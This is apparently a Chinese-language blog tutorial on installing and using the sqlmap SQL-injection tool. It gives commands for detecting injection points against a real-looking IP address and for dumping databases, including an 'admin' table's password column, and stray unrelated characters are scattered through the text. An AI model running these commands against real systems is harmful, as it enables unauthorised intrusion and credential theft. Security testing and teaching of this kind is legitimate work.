一、概述
1.1 簡(jiǎn)介
sqlmap是一款非常強(qiáng)大的開源sql自動(dòng)化注入工具摆出,可以用來檢測(cè)和利用sql注入漏洞枚驻。它是由python語言編寫而成。因此使用sqlmap時(shí)纫谅,需要在python環(huán)境中運(yùn)行炫贤。
1.2 功能點(diǎn)
- 完全支持MySQL、Oracle付秕、PostgreSQL兰珍、Microsoft SQL Server、Microsoft Access询吴、IBM DB2掠河、SQLite、Firebird猛计、Sybase唠摹、SAP MaxDB、HSQLDB和Informix等多種數(shù)據(jù)庫(kù)管理系統(tǒng)奉瘤。
- 完全支持布爾型盲注勾拉、時(shí)間型盲注、基于錯(cuò)誤信息的注入盗温、聯(lián)合查詢注入和堆查詢注入望艺。
- 在數(shù)據(jù)庫(kù)證書、IP地址肌访、端口和數(shù)據(jù)庫(kù)名等條件允許的情況下支持不通過SQL注入點(diǎn)而直接連接數(shù)據(jù)庫(kù)找默。
- 支持枚舉用戶、密碼吼驶、哈希惩激、權(quán)限店煞、角色、數(shù)據(jù)庫(kù)风钻、數(shù)據(jù)表和列顷蟀。
- 支持自動(dòng)識(shí)別密碼哈希格式并通過字典破解密碼哈希。
- 支持完全地下載某個(gè)數(shù)據(jù)庫(kù)中的某個(gè)表骡技,也可以只下載某個(gè)表中的某幾列鸣个,甚至只下載某一列中的部分?jǐn)?shù)據(jù),這完全取決于用戶的選擇布朦。
- 支持在數(shù)據(jù)庫(kù)管理系統(tǒng)中搜索指定的數(shù)據(jù)庫(kù)名囤萤、表名或列名。
- 當(dāng)數(shù)據(jù)庫(kù)管理系統(tǒng)是MySQL是趴、PostgreSQL或Microsoft SQL Server時(shí)支持下載或上傳文件涛舍。
- 當(dāng)數(shù)據(jù)庫(kù)管理系統(tǒng)是MySQL、PostgreSQL或Microsoft SQL Server時(shí)支持執(zhí)行任意命令并回現(xiàn)標(biāo)準(zhǔn)輸出唆途。
二富雅、安裝
2.1 環(huán)境要求
? Python2.7(python3不支持)
2.2 安裝步驟
- 在sqlmap官網(wǎng)http://sqlmap.org/下載最新版本的sqlmap安裝包(目前最新版本為1.3.2-25)。如下圖所示:
在這里插入圖片描述 -
將下載下來的安裝包sqlmapproject-sqlmap-1.3.2-25-gaf890d6.zip解壓到自己想存放的目錄并重命名肛搬,這里以D盤為例没佑,并將解壓后的文件重命名為sqlmap。解壓后的目錄結(jié)構(gòu)如下圖所示:
在這里插入圖片描述
驗(yàn)證sqlmap是否安裝完成温赔,可進(jìn)行如下操作進(jìn)行驗(yàn)證:
-
打開cmd窗口图筹,進(jìn)入到python的安裝目錄(這里如果配置了python環(huán)境變量,則不需要進(jìn)入到此目錄):
在這里插入圖片描述 - 執(zhí)行如下命令:
python D:\sqlmap\sqlmap.py --version
若顯示sqlmap版本號(hào)让腹,則安裝成功远剩。如下圖所示:
三、使用
3.1 初級(jí)用法
3.1.1 檢測(cè)注入點(diǎn)
- GET注入
python D:\sqlmap\sqlmap.py -u http://117.41.229.122:8003/?id=1
說明:
-u:指定注入點(diǎn)骇窍,后面直接跟上待測(cè)的目標(biāo)url瓜晤。
如果出現(xiàn)如下紅框中的格式內(nèi)容,則存在sql注入腹纳;如果沒有痢掠,則不一定存在注入,可進(jìn)一步進(jìn)行滲透嘲恍。
紅框中顯示了存在注入點(diǎn)的參數(shù)及注入的方式和內(nèi)容足画。
?
- POST注入
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --batch
說明:
-r:指定注入點(diǎn),后面直接跟上文件名稱佃牛,該文件記錄了發(fā)送請(qǐng)求的報(bào)文淹辞,該報(bào)文可以利用抓包工具fiddle或burpsuit等獲取。
3.1.2 暴庫(kù)
所謂暴庫(kù)俘侠,就是利用已有sql漏洞對(duì)數(shù)據(jù)庫(kù)進(jìn)行深層次的數(shù)據(jù)挖掘象缀。暴庫(kù)的一般過程如下:
數(shù)據(jù)庫(kù)------>表------>列------->數(shù)據(jù)
-
列出數(shù)據(jù)庫(kù):--dbs
在這里插入圖片描述 -
列出數(shù)據(jù)庫(kù)下的表:-D maoshe --tables
在這里插入圖片描述
?
-
列出表中的列:-D maoshe -T admin --columns
在這里插入圖片描述 -
列出表中固定列的數(shù)據(jù):-D maoshe -T admin –C password --dump
在這里插入圖片描述 -
若獲取表中的所有數(shù)據(jù)蔬将,則直接使用-D maoshe -T admin --dump
在這里插入圖片描述
3.2 高級(jí)用法
- 指定數(shù)據(jù)庫(kù) --dbms “Oracle”
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --dbms "oracle" --batch
- 指定注入等級(jí) --level
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --level 2 --batch
- 指定注入風(fēng)險(xiǎn)級(jí)別 --risk
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --risk 2 --batch
- 不使用緩存 --purge
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --purge --batch
- 指定參數(shù) -p
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -p username --batch
- 使用持久的http連接 --keep-alive
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --keep-alive --batch
- 請(qǐng)求并發(fā)量 --threads
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --threads 4 --batch
- 開啟所有的優(yōu)化開關(guān) -o
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -o --batch
sqlmap的參數(shù)還有很多,在這里不一一列舉央星,可參考網(wǎng)上相關(guān)教程霞怀。